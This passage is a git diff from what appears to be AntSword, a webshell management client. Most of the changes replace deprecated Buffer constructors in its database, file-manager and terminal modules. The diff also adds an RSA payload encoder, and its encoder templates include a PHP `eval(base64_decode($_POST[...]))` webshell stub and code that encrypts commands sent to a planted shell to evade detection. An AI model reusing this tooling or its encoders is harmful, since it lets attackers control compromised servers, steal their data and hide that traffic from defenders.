arr[1].split(':'); this.getColumns( _tb[0], - new Buffer(_tb[1], 'base64').toString(), - new Buffer(_tb[2], 'base64').toString() + Buffer.from(_tb[1], 'base64').toString(), + Buffer.from(_tb[2], 'base64').toString() ); break; // 生成查询SQL语句 case 'column': let _co = arr[1].split(':'); - const db = new Buffer(_co[1], 'base64').toString(); - const table = new Buffer(_co[2], 'base64').toString(); - const column = new Buffer(_co[3], 'base64').toString(); + const db = Buffer.from(_co[1], 'base64').toString(); + const table = Buffer.from(_co[2], 'base64').toString(); + const column = Buffer.from(_co[3], 'base64').toString(); const sql = `SELECT ${column} FROM ${db}.${table} ORDER BY 1 DESC;`; this.manager.query.editor.session.setValue(sql); @@ -429,7 +429,7 @@ class CUSTOM { // 添加子节点 arr.map((_) => { if (!_) { return }; - const _db = new Buffer(_).toString('base64'); + const _db = Buffer.from(_).toString('base64'); this.tree.insertNewItem( `conn::${id}`, `database::${id}:${_db}`, @@ -464,13 +464,13 @@ class CUSTOM { ).then((res) => { let ret = res['text']; const arr = ret.split('\t'); - const _db = new Buffer(db).toString('base64'); + const _db = Buffer.from(db).toString('base64'); // 删除子节点 this.tree.deleteChildItems(`database::${id}:${_db}`); // 添加子节点 arr.map((_) => { if (!_) { return }; - const _table = new Buffer(_).toString('base64'); + const _table = Buffer.from(_).toString('base64'); this.tree.insertNewItem( `database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, @@ -508,14 +508,14 @@ class CUSTOM { ).then((res) => { let ret = res['text']; const arr = ret.split('\t'); - const _db = new Buffer(db).toString('base64'); - const _table = new Buffer(table).toString('base64'); + const _db = Buffer.from(db).toString('base64'); + const _table = Buffer.from(table).toString('base64'); // 删除子节点 this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`); // 添加子节点 arr.map((_) => { if (!_) { return }; - const _column = new Buffer(_.substr(_, _.lastIndexOf(' '))).toString('base64'); + const _column = Buffer.from(_.substr(_, _.lastIndexOf(' '))).toString('base64'); this.tree.insertNewItem( `table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, @@ -624,7 +624,7 @@ class CUSTOM { if (!filePath) { return; }; let headerStr = grid.hdrLabels.join(','); let dataStr = grid.serializeToCSV(); - let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr); + let tempDataBuffer = Buffer.from(headerStr+'\n'+dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index 48325ad0..e0243ed9 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -32,7 +32,7 @@ class PHP { id: arr[0] }); if (arr.length > 1) { - this.dbconf['database'] = new Buffer(arr[1], 'base64').toString(); + this.dbconf['database'] = Buffer.from(arr[1], 'base64').toString(); // 更新SQL编辑器 this.enableEditor(); // manager.query.update(this.currentConf); @@ -55,7 +55,7 @@ class PHP { let _db = arr[1].split(':'); this.getTables( _db[0], - new Buffer(_db[1], 'base64').toString() + Buffer.from(_db[1], 'base64').toString() ); break; // 获取表名字段 @@ -63,17 +63,16 @@ class PHP { let _tb = arr[1].split(':'); this.getColumns( _tb[0], - new Buffer(_tb[1], 'base64').toString(), - new Buffer(_tb[2], 'base64').toString() + Buffer.from(_tb[1], 'base64').toString(), + Buffer.from(_tb[2], 'base64').toString() ); break; // 生成查询SQL语句 case 'column': let _co = arr[1].split(':'); - const db = new Buffer(_co[1], 'base64').toString(); - const table = new Buffer(_co[2], 'base64').toString(); - const column = new Buffer(_co[3], 'base64').toString(); - + const db = new Buffer.from(_co[1], 'base64').toString(); + const table = new Buffer.from(_co[2], 'base64').toString(); + const column = new Buffer.from(_co[3], 'base64').toString(); let sql = ""; switch(this.dbconf['type']){ case 'mssql': @@ -796,7 +795,7 @@ class PHP { editDatabase() { // 获取配置 const id = this.tree.getSelected().split('::')[1].split(":")[0]; - let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); + let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); switch(this.dbconf['type']){ case "mysqli": @@ -920,8 +919,7 @@ class PHP { delDatabase() { // 获取配置 const id = this.tree.getSelected().split('::')[1].split(":")[0]; - let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); - // 已在 lang 中过滤 + let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); layer.confirm(LANG['form']['deldb']['confirm'](dbname), { icon: 2, shift: 6, title: LANG['form']['deldb']['title'] @@ -956,7 +954,7 @@ class PHP { addTable() { // 获取配置 const id = this.tree.getSelected().split('::')[1].split(":")[0]; - let dbname = new Buffer(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); + let dbname = Buffer.from(this.tree.getSelected().split('::')[1].split(":")[1],"base64").toString(); const hash = (+new Date * Math.random()).toString(16).substr(2, 8); switch(this.dbconf['type']){ case "mysqli": @@ -1143,8 +1141,8 @@ class PHP { // 获取配置 const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; - let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); - let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); // const hash = (+new Date * Math.random()).toString(16).substr(2, 8); layer.prompt({ value: antSword.noxss(tablename), @@ -1185,8 +1183,8 @@ class PHP { // 获取配置 const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; - let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); - let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); // 已在 lang 中过滤 layer.confirm(LANG['form']['deltable']['confirm'](tablename), { icon: 2, shift: 6, @@ -1221,8 +1219,8 @@ class PHP { descTable() { const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; - let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); - let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); switch(this.dbconf['type']){ case "mysqli": case "mysql": @@ -1239,8 +1237,8 @@ class PHP { showcreateTable() { const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; - let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); - let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); switch(this.dbconf['type']){ case "mysqli": case "mysql": @@ -1259,9 +1257,9 @@ class PHP { // 获取配置 const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; - let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); - let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); - let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString(); + let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); } @@ -1270,9 +1268,9 @@ class PHP { // 获取配置 const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; - let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); - let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); - let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString(); + let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); let columntyperaw = this.tree.getSelectedItemText(); let columntype = null; var ctypereg = new RegExp(columnname+'\\s\\((.+?\\))\\)'); @@ -1323,10 +1321,10 @@ class PHP { // 获取配置 const treeselect = this.tree.getSelected(); const id = treeselect.split('::')[1].split(":")[0]; - let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); - let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); - let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString(); - // 已在LANG中过滤 + let dbname = Buffer.from(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = Buffer.from(treeselect.split('::')[1].split(":")[2],"base64").toString(); + let columnname = Buffer.from(treeselect.split('::')[1].split(":")[3],"base64").toString(); + // 已在 lang 中过滤 layer.confirm(LANG['form']['delcolumn']['confirm'](columnname), { icon: 2, shift: 6, title: LANG['form']['delcolumn']['title'] @@ -1385,7 +1383,7 @@ class PHP { // 添加子节点 arr.map((_) => { if (!_) { return }; - const _db = new Buffer(_).toString('base64'); + const _db = Buffer.from(_).toString('base64'); this.tree.insertNewItem( `conn::${id}`, `database::${id}:${_db}`, @@ -1423,13 +1421,13 @@ class PHP { throw ret; } const arr = ret.split('\t'); - const _db = new Buffer(db).toString('base64'); + const _db = Buffer.from(db).toString('base64'); // 删除子节点 this.tree.deleteChildItems(`database::${id}:${_db}`); // 添加子节点 arr.map((_) => { if (!_) { return }; - const _table = new Buffer(_).toString('base64'); + const _table = Buffer.from(_).toString('base64'); this.tree.insertNewItem( `database::${id}:${_db}`, `table::${id}:${_db}:${_table}`, @@ -1470,14 +1468,14 @@ class PHP { throw ret; } const arr = ret.split('\t'); - const _db = new Buffer(db).toString('base64'); - const _table = new Buffer(table).toString('base64'); + const _db = Buffer.from(db).toString('base64'); + const _table = Buffer.from(table).toString('base64'); // 删除子节点 this.tree.deleteChildItems(`table::${id}:${_db}:${_table}`); // 添加子节点 arr.map((_) => { if (!_) { return }; - const _column = new Buffer(_.substr(_, _.lastIndexOf(' '))).toString('base64'); + const _column = Buffer.from(_.substr(_, _.lastIndexOf(' '))).toString('base64'); this.tree.insertNewItem( `table::${id}:${_db}:${_table}`, `column::${id}:${_db}:${_table}:${_column}`, @@ -1577,7 +1575,7 @@ class PHP { arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i ++) { - let buff = new Buffer(_data[i], "base64"); + let buff = Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); if(encoding == "unknown") { switch(this.dbconf['type']){ @@ -1639,7 +1637,7 @@ class PHP { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i ++) { // _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false); - let buff = new Buffer(_data[i], "base64"); + let buff = new Buffer.from(_data[i], "base64"); let encoding = Decodes.detectEncoding(buff, {defaultEncoding: "unknown"}); if(encoding == "unknown") { switch(this.dbconf['type']){ @@ -1708,7 +1706,7 @@ class PHP { if (!filePath) { return; }; let headerStr = grid.hdrLabels.join(','); let dataStr = grid.serializeToCSV(); - let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr); + let tempDataBuffer = Buffer.from(headerStr+'\n'+dataStr); fs.writeFileSync(filePath, tempDataBuffer); toastr.success(LANG['result']['dump']['success'], LANG_T['success']); }); diff --git a/source/modules/filemanager/files.js b/source/modules/filemanager/files.js index 23cab785..20764459 100644 --- a/source/modules/filemanager/files.js +++ b/source/modules/filemanager/files.js @@ -491,7 +491,7 @@ class Files { refreshPath(p) { let path = p || this.manager.path; // delete this.manager.cache[path]; - this.manager.cache.del('filemanager-files-' + new Buffer(path).toString('base64')); + this.manager.cache.del('filemanager-files-' + Buffer.from(path).toString('base64')); // 删除文件夹缓存 for (let _ in this.manager.folder.cache) { if (_.indexOf(path) === 0 && _ != path) { diff --git a/source/modules/filemanager/index.js b/source/modules/filemanager/index.js index 1bcaa892..e55ae575 100644 --- a/source/modules/filemanager/index.js +++ b/source/modules/filemanager/index.js @@ -153,7 +153,7 @@ class FileManager { if (!path.endsWith('/')) { path += '/' }; this.path = path; - let cache_tag = 'filemanager-files-' + new Buffer(this.path).toString('base64'); + let cache_tag = 'filemanager-files-' + Buffer.from(this.path).toString('base64'); // 判断是否有缓存 // if (cache = this.cache[path]) { @@ -536,7 +536,7 @@ class FileManager { height: 600, }); var filemime = mime.lookup(name); - let savepath = PATH.join(process.env.AS_WORKDIR,`antData/.temp/`,new Buffer(name).toString("hex")); + let savepath = PATH.join(process.env.AS_WORKDIR,`antData/.temp/`,Buffer.from(name).toString("hex")); win.cell.lastChild['style']['overflow'] = 'scroll'; win.cell.lastChild['style']['textAlign'] = 'center'; @@ -557,7 +557,7 @@ class FileManager { let buff = fs.readFileSync(savepath); switch (filemime){ default: - let data = new Buffer(buff).toString('base64'); + let data = Buffer.from(buff).toString('base64'); win.attachHTMLString(``); break; } @@ -912,7 +912,7 @@ class FileManager { editor.session.setMode(`ace/mode/${mode}`); }else if (id.startsWith('encode_')) { let encode = id.split('_')[1]; - editor.session.setValue(iconv.decode(new Buffer(codes), encode).toString()); + editor.session.setValue(iconv.decode(Buffer.from(codes), encode).toString()); }else{ console.info('toolbar.onClick', id); } diff --git a/source/modules/plugin/index.js b/source/modules/plugin/index.js index cf65db81..34a53ddd 100644 --- a/source/modules/plugin/index.js +++ b/source/modules/plugin/index.js @@ -14,7 +14,7 @@ class Plugin { // 注册菜单事件 antSword['menubar'].reg( 'plugin-store', - this.initWin.bind(this, 'ant-views://plugin.html') + this.initWin.bind(this, 'ant-views://front/plugin.html') ); this.win = null; } diff --git a/source/modules/settings/encoders.js b/source/modules/settings/encoders.js index 149e5629..be1469fd 100644 --- a/source/modules/settings/encoders.js +++ b/source/modules/settings/encoders.js @@ -10,6 +10,7 @@ const LANG = antSword['language']['settings']['encoders']; const LANG_T = antSword['language']['toastr']; const fs = require('fs'); const path = require('path'); +const NodeRSA = require('node-rsa'); const WIN = require("../../ui/window"); class Encoders { @@ -18,6 +19,14 @@ class Encoders { var that = this; this.encoders = antSword["encoders"]; + let keyPath = path.join(remote.process.env.AS_WORKDIR, `antData/`); + this.rsa = { + keyPath: { + pub: `${keyPath}/key_rsa.pub`, + pri: `${keyPath}/key_rsa` + } + } + sidebar.addItem({ id: 'encoders', text: ` ${LANG['title']}` @@ -27,39 +36,49 @@ class Encoders { const toolbar = that.cell.attachToolbar(); toolbar.loadStruct([ - { type: 'buttonSelect', text: LANG['toolbar']['new'], icon: 'plus-circle', id: 'new', openAll: true, - options: [ - { id: 'new_asp', icon: 'file-code-o', type: 'button', text: "ASP" }, - { id: 'new_aspx', icon: 'file-code-o', type: 'button', text: "ASPX"}, - { id: 'new_php', icon: 'file-code-o', type: 'button', text: "PHP"}, - { type: 'separator' }, - { id: 'new_custom', icon: 'file-code-o', type: 'button', text: "Custom"} - ]}, + { + type: 'buttonSelect', text: LANG['toolbar']['new'], icon: 'plus-circle', id: 'new', openAll: true, + options: [ + { id: 'new_asp', icon: 'file-code-o', type: 'button', text: "ASP" }, + { id: 'new_aspx', icon: 'file-code-o', type: 'button', text: "ASPX" }, + { id: 'new_php', icon: 'file-code-o', type: 'button', text: "PHP" }, + { type: 'separator' }, + { id: 'new_custom', icon: 'file-code-o', type: 'button', text: "Custom" }, + { type: 'separator' }, + { id: 'new_php_rsa', icon: 'file-code-o', type: 'button', text: "PHP RSA" } + ] + }, { type: 'separator' }, { type: 'button', text: LANG['toolbar']['edit'], icon: 'fa fa-edit', id: 'edit' }, { type: 'button', text: LANG['toolbar']['delete'], icon: 'fa fa-trash-o', id: 'delete' }, + { type: 'separator' }, + { type: 'button', text: LANG['toolbar']['rsa'], icon: 'fa fa-key', id: 'rsa' } ]); - toolbar.attachEvent("onClick", (id)=>{ - switch(id) { + toolbar.attachEvent("onClick", (id) => { + switch (id) { case "new_asp": - that.createEncoder("asp"); - break; + that.createEncoder(id); + break; case "new_aspx": - that.createEncoder("aspx"); - break; + that.createEncoder(id); + break; case "new_php": - that.createEncoder("php"); - break; + case "new_php_rsa": + that.createEncoder(id); + break; case "new_custom": - that.createEncoder("custom"); - break; + that.createEncoder(id); + break; case "edit": - that.editEncoder(); - break; + that.editEncoder(); + break; case "delete": - that.deleteEncoder(); - break; + that.deleteEncoder(); + break; + case "rsa": + that.rsaConfig(); + break; } }); @@ -75,87 +94,90 @@ class Encoders { grid.setColAlign("center,left,center"); grid.enableMultiselect(true); var combobox = grid.getCombo(2); - combobox.put("asp","ASP"); - combobox.put("aspx","ASPX"); - combobox.put("php","PHP"); - combobox.put("custom","CUSTOM"); - - grid.attachEvent("onEditCell", function(stage,rId,cInd,nValue,oValue){ + combobox.put("asp", "ASP"); + combobox.put("aspx", "ASPX"); + combobox.put("php", "PHP"); + combobox.put("custom", "CUSTOM"); + + grid.attachEvent("onEditCell", function (stage, rId, cInd, nValue, oValue) { // 2 编辑完成 - if(stage === 2) { + if (stage === 2) { nValue = nValue.toLocaleLowerCase(); oValue = oValue.toLocaleLowerCase(); - if(nValue === oValue){return;} + if (nValue === oValue) { return; } var oename = grid.getRowAttribute(rId, "ename"); var oepath = grid.getRowAttribute(rId, "epath"); var oetype = grid.getRowAttribute(rId, "etype"); - oepath = oepath+".js"; - switch(cInd){ + oepath = oepath + ".js"; + switch (cInd) { case 1: - // name - if(!nValue.match(/^[a-zA-Z0-9_]+$/)){ - toastr.error(LANG["message"]["ename_invalid"],LANG_T['error']); - return - } - if(that._checkname(nValue, oetype)){ - toastr.error(LANG['message']['ename_duplicate'], LANG_T['error']); - return; - } - fs.renameSync(oepath, path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${oetype}/encoder/${nValue}.js`)); - toastr.success(LANG['message']["rename_success"],LANG_T["success"]); - break + // name + if (!nValue.match(/^[a-zA-Z0-9_]+$/)) { + toastr.error(LANG["message"]["ename_invalid"], LANG_T['error']); + return + } + if (that._checkname(nValue, oetype)) { + toastr.error(LANG['message']['ename_duplicate'], LANG_T['error']); + return; + } + fs.renameSync(oepath, path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${oetype}/encoder/${nValue}.js`)); + toastr.success(LANG['message']["rename_success"], LANG_T["success"]); + break case 2: - // type - if(nValue != "asp" && nValue != "aspx" && nValue != "php" && nValue != "custom") { - toastr.error(LANG['message']["etype_error"], LANG_T['error']); - return - } - if(that._checkname(oename, nValue)){ - toastr.error(LANG['message']['ename_duplicate'], LANG_T['error']); - return; - } - fs.renameSync(oepath, path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${nValue}/encoder/${oename}.js`)); - toastr.success(LANG['message']["retype_success"],LANG_T["success"]); - break + // type + if (nValue != "asp" && nValue != "aspx" && nValue != "php" && nValue != "custom") { + toastr.error(LANG['message']["etype_error"], LANG_T['error']); + return + } + if (that._checkname(oename, nValue)) { + toastr.error(LANG['message']['ename_duplicate'], LANG_T['error']); + return; + } + fs.renameSync(oepath, path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${nValue}/encoder/${oename}.js`)); + toastr.success(LANG['message']["retype_success"], LANG_T["success"]); + break } that.syncencoders(); } }); grid.init(); - + that.grid = grid; that.parseData(); } - + // 创建新的编码器 - createEncoder(t) { + createEncoder(id) { let self = this; + let idArr = id.split('_'); + let type = idArr[1]; + let rsa = idArr.length >= 3 ? '_rsa' : ''; layer.prompt({ value: `myencoder`, title: ` ${LANG["prompt"]["create_encoder"]}` - },(value, i, e) => { + }, (value, i, e) => { value = value.toLocaleLowerCase(); - if(!value.match(/^[a-zA-Z0-9_]+$/)){ - toastr.error(LANG["message"]["ename_invalid"],LANG_T['error']); + if (!value.match(/^[a-zA-Z0-9_]+$/)) { + toastr.error(LANG["message"]["ename_invalid"], LANG_T['error']); return } - if(self._checkname(value, t)){ - toastr.error(LANG["message"]["ename_duplicate"] ,LANG_T['error']); + if (self._checkname(value, type)) { + toastr.error(LANG["message"]["ename_duplicate"], LANG_T['error']); layer.close(i); return } - let savePath= path.join(remote.process.env.AS_WORKDIR,`antData/encoders/${t}/encoder/${value}.js`); + let savePath = path.join(remote.process.env.AS_WORKDIR, `antData/encoders/${type}/encoder/${value}${rsa}.js`); - fs.writeFileSync(savePath, self.default_template); + fs.writeFileSync(savePath, rsa ? self.default_rsa_template : self.default_template); var ids = self.grid.getAllRowIds(); let _id = 1; - if(ids.length > 0){ - _id = parseInt(ids[ids.length-1]); + if (ids.length > 0) { + _id = parseInt(ids[ids.length - 1]); } - _id ++; - self.grid.addRow(_id, `${_id},${antSword.noxss(value)},${t}`); + _id++; + self.grid.addRow(_id, `${_id},${antSword.noxss(value)},${type}`); toastr.success(LANG["message"]["create_success"], LANG_T["success"]); self.cell.progressOff(); layer.close(i); @@ -168,7 +190,7 @@ class Encoders { let self = this; // 获取选中ID列表 let ids = self.grid.getSelectedId(); - if(!ids){ + if (!ids) { toastr.warning(LANG["message"]["edit_not_select"], LANG_T["warning"]); return } @@ -178,10 +200,9 @@ class Encoders { return } let _id = _ids[0]; - const ename = self.grid.getRowAttribute(_id, 'ename'); const epath = self.grid.getRowAttribute(_id, 'epath'); - let buff = fs.readFileSync(epath+".js"); + let buff = fs.readFileSync(epath + ".js"); let opt = { title: `${LANG["edit_win_title"]}: ${ename}`, width: 800, @@ -201,11 +222,11 @@ class Encoders { if (id === 'save') { // 保存代码 let saveData = editor.session.getValue(); - if(!saveData){ - toastr.warning(LANG["message"]["edit_null_value"],LANG_T["warning"]); + if (!saveData) { + toastr.warning(LANG["message"]["edit_null_value"], LANG_T["warning"]); return } - fs.writeFileSync(epath+".js", saveData); + fs.writeFileSync(epath + ".js", saveData); toastr.success(LANG["message"]["edit_save_success"], LANG_T["success"]); } }); @@ -245,53 +266,164 @@ class Encoders { }); } + // 生成 RSA + generateRsaKey(bit = 1024) { + const key = new NodeRSA({ b: bit }); + let pubKey = key.exportKey('pkcs8-public-pem'); + let priKey = key.exportKey('pkcs1-private-pem'); + let keyPath = this.rsa.keyPath; + fs.writeFileSync(keyPath.pub, pubKey); + fs.writeFileSync(keyPath.pri, priKey); + for (var _path in keyPath) { + if (!fs.existsSync(keyPath[_path])) { + toastr.error(LANG["message"]["rsa_save_error"], LANG_T["error"]); + return false; + } + } + toastr.success(LANG["message"]["rsa_save_success"], LANG_T["success"]); + this.reloadRsa(); + return true; + } + + // 重新读取 RSA + reloadRsa() { + let keyPath = this.rsa.keyPath; + let pubKey = fs.existsSync(keyPath.pub) ? fs.readFileSync(keyPath.pub) : ''; + let priKey = fs.existsSync(keyPath.pri) ? fs.readFileSync(keyPath.pri) : ''; + this.rsa.form.setItemValue('public_key', pubKey); + this.rsa.form.setItemValue('private_key', priKey); + this.rsa.form.setItemValue('php_code', ` { + if (id === 'generate') { + if (fs.existsSync(self.rsa.keyPath.pub) && fs.existsSync(self.rsa.keyPath.pri)) { + layer.confirm(`${LANG['confirm']['generate']} `, + { + icon: 2, + shift: 6, + title: `${LANG['confirm']["generate"]} `, + }, (_) => { + layer.close(_); + self.generateRsaKey(); + }); + } else { + self.generateRsaKey(); + } + } + }); + form.loadStruct([ + { + type: "settings", + labelWidth: 750, + inputWidth: 750, + position: "label-top", + labelLeft: 25, + inputLeft: 25 + }, + { + type: 'block', + inputWidth: 'auto', + offsetTop: 20, + list: [{ + type: 'input', + label: LANG['form']['public_key'], + name: 'public_key', + rows: 6, + value: '' + }, { + type: 'input', + label: LANG['form']['private_key'], + name: 'private_key', + rows: 15, + value: '' + }, { + type: 'input', + label: LANG['form']['php_code'], + name: 'php_code', + rows: 20, + value: '' + }] + }], true); + self.reloadRsa(); + } + deleteEncoder() { let self = this; // 获取选中ID列表 let ids = self.grid.getSelectedId(); - if(!ids){ + if (!ids) { toastr.warning(LANG["message"]["delete_not_select"], LANG_T["warning"]); return } let _ids = ids.split(","); - layer.confirm(`${LANG['confirm']['delete'](_ids.length==1?self.grid.getRowAttribute(_ids[0],"ename"): _ids.length)}`, - { - icon: 2, - shift: 6, - title: ` ${LANG["delete_title"]}`, - },(_)=>{ - layer.close(_); - _ids.map((_id)=>{ - var ename = self.grid.getRowAttribute(_id, 'ename'); - var epath = self.grid.getRowAttribute(_id, 'epath'); - fs.unlink(epath+".js"); + layer.confirm(`${LANG['confirm']['delete'](_ids.length == 1 ? self.grid.getRowAttribute(_ids[0], "ename") : _ids.length)} `, + { + icon: 2, + shift: 6, + title: `${LANG["delete_title"]} `, + }, (_) => { + layer.close(_); + _ids.map((_id) => { + var epath = self.grid.getRowAttribute(_id, 'epath'); + fs.unlinkSync(epath + ".js"); + }); + toastr.success(LANG["message"]["delete_success"], LANG_T["success"]); + self.syncencoders(); }); - toastr.success(LANG["message"]["delete_success"], LANG_T["success"]); - self.syncencoders(); - }); } + get default_template() { return `/** * php::base64编码器 * Create at: ${new Date().format("yyyy/MM/dd hh:mm:ss")} */ -\'use strict\'; + \'use strict\'; -/* -* @param {String} pwd 连接密码 -* @param {Array} data 编码器处理前的 payload 数组 -* @return {Array} data 编码器处理后的 payload 数组 -*/ -module.exports = (pwd, data) => { - // ########## 请在下方编写你自己的代码 ################### - // 以下代码为 PHP Base64 样例 - - // 生成一个随机变量名 - let randomID = \`_0x\${Math.random().toString(16).substr(2)}\`; + /* + * @param {String} pwd 连接密码 + * @param {Array} data 编码器处理前的 payload 数组 + * @return {Array} data 编码器处理后的 payload 数组 + */ + module.exports = (pwd, data) => { + // ########## 请在下方编写你自己的代码 ################### + // 以下代码为 PHP Base64 样例 + + // 生成一个随机变量名 + let randomID = \`_0x\${Math.random().toString(16).substr(2)}\`; // 原有的 payload 在 data['_']中 // 取出来之后,转为 base64 编码并放入 randomID key 下 - data[randomID] = new Buffer(data['_']).toString('base64'); + data[randomID] = Buffer.from(data['_']).toString('base64'); // shell 在接收到 payload 后,先处理 pwd 参数下的内容, data[pwd] = \`eval(base64_decode($_POST[\${randomID}]));\`; @@ -304,10 +436,36 @@ module.exports = (pwd, data) => { return data; }`; } + + get default_rsa_template() { + return `/** + * php::RSA编码器 + * Create at: ${new Date().format("yyyy/MM/dd hh:mm:ss")} + */ + +'use strict'; + +/* + * @param {String} pwd 连接密码 + * @param {Array} data 编码器处理前的 payload 数组 + * @return {Array} data 编码器处理后的 payload 数组 + */ +module.exports = (pwd, data, ext) => { + let n = Math.ceil(data['_'].length / 80); + let l = Math.ceil(data['_'].length / n); + let r = [] + for (var i = 0; n > i; i++) { + r.push(ext['rsa'].encryptPrivate(data['_'].substr(i * l, l), 'base64')); + } + data[pwd] = r.join("|"); + delete data['_']; + return data; +}`; + } // 检查 name 是否重复 - _checkname(name,t) { - let tstr = ',' + antSword['encoders'][t].join(',')+','; - return tstr.indexOf(","+name+",")!=-1; + _checkname(name, t) { + let tstr = ',' + antSword['encoders'][t].join(',') + ','; + return tstr.indexOf("," + name + ",") != -1; } // 解析数据 parseData() { @@ -316,7 +474,7 @@ module.exports = (pwd, data) => { let _id = 1; Object.keys(self.encoders).map((t) => { - self.encoders[t].map( _ => { + self.encoders[t].map(_ => { data.push({ id: _id, ename: _, @@ -335,37 +493,37 @@ module.exports = (pwd, data) => { self.grid.clearAll(); self.grid.parse({ 'rows': data - }, 'json'); + }, 'json'); } // 同步到全局编码器 syncencoders() { - antSword['encoders'] = (function(){ - var encoders = {asp:[],aspx:[],php:[],custom:[]}; - var encoders_path = {asp:[],aspx:[],php:[],custom:[]}; - let userencoder_path = path.join(remote.process.env.AS_WORKDIR,'antData/encoders'); + antSword['encoders'] = (function () { + var encoders = { asp: [], aspx: [], php: [], custom: [] }; + var encoders_path = { asp: [], aspx: [], php: [], custom: [] }; + let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders'); // 初始化 !fs.existsSync(userencoder_path) ? fs.mkdirSync(userencoder_path) : null; - ['asp','aspx','php','custom'].map((t)=>{ - !fs.existsSync(path.join(userencoder_path, `${t}`))? fs.mkdirSync(path.join(userencoder_path, `${t}`)):null; + ['asp', 'aspx', 'php', 'custom'].map((t) => { + !fs.existsSync(path.join(userencoder_path, `${t}`)) ? fs.mkdirSync(path.join(userencoder_path, `${t}`)) : null; let t_path = path.join(userencoder_path, `${t}/encoder/`); !fs.existsSync(t_path) ? fs.mkdirSync(t_path) : null; - + let es = fs.readdirSync(t_path); - if(es){ - es.map((_)=>{ - if(!_.endsWith(".js")){ + if (es) { + es.map((_) => { + if (!_.endsWith(".js")) { return } - encoders[t].push(_.slice(0,-3)); - encoders_path[t].push(path.join(t_path, _.slice(0,-3))); + encoders[t].push(_.slice(0, -3)); + encoders_path[t].push(path.join(t_path, _.slice(0, -3))); }); } antSword["core"][t].prototype.user_encoders = encoders_path[t]; }); return encoders; })(); - this.encoders=antSword["encoders"]; + this.encoders = antSword["encoders"]; this.parseData(); } } diff --git a/source/modules/terminal/index.js b/source/modules/terminal/index.js index dd1af19f..1a4ac890 100644 --- a/source/modules/terminal/index.js +++ b/source/modules/terminal/index.js @@ -3,7 +3,6 @@ * 更新:2016/04/13 * 作者:蚁逅 */ - const LANG = antSword['language']['terminal']; const LANG_T = antSword['language']['toastr']; @@ -223,7 +222,7 @@ class Terminal { } term.pause(); // 是否有缓存 - let cacheTag = 'command-' + new Buffer(this.path + cmd).toString('base64'); + let cacheTag = 'command-' + Buffer.from(this.path + cmd).toString('base64'); let cacheCmd = 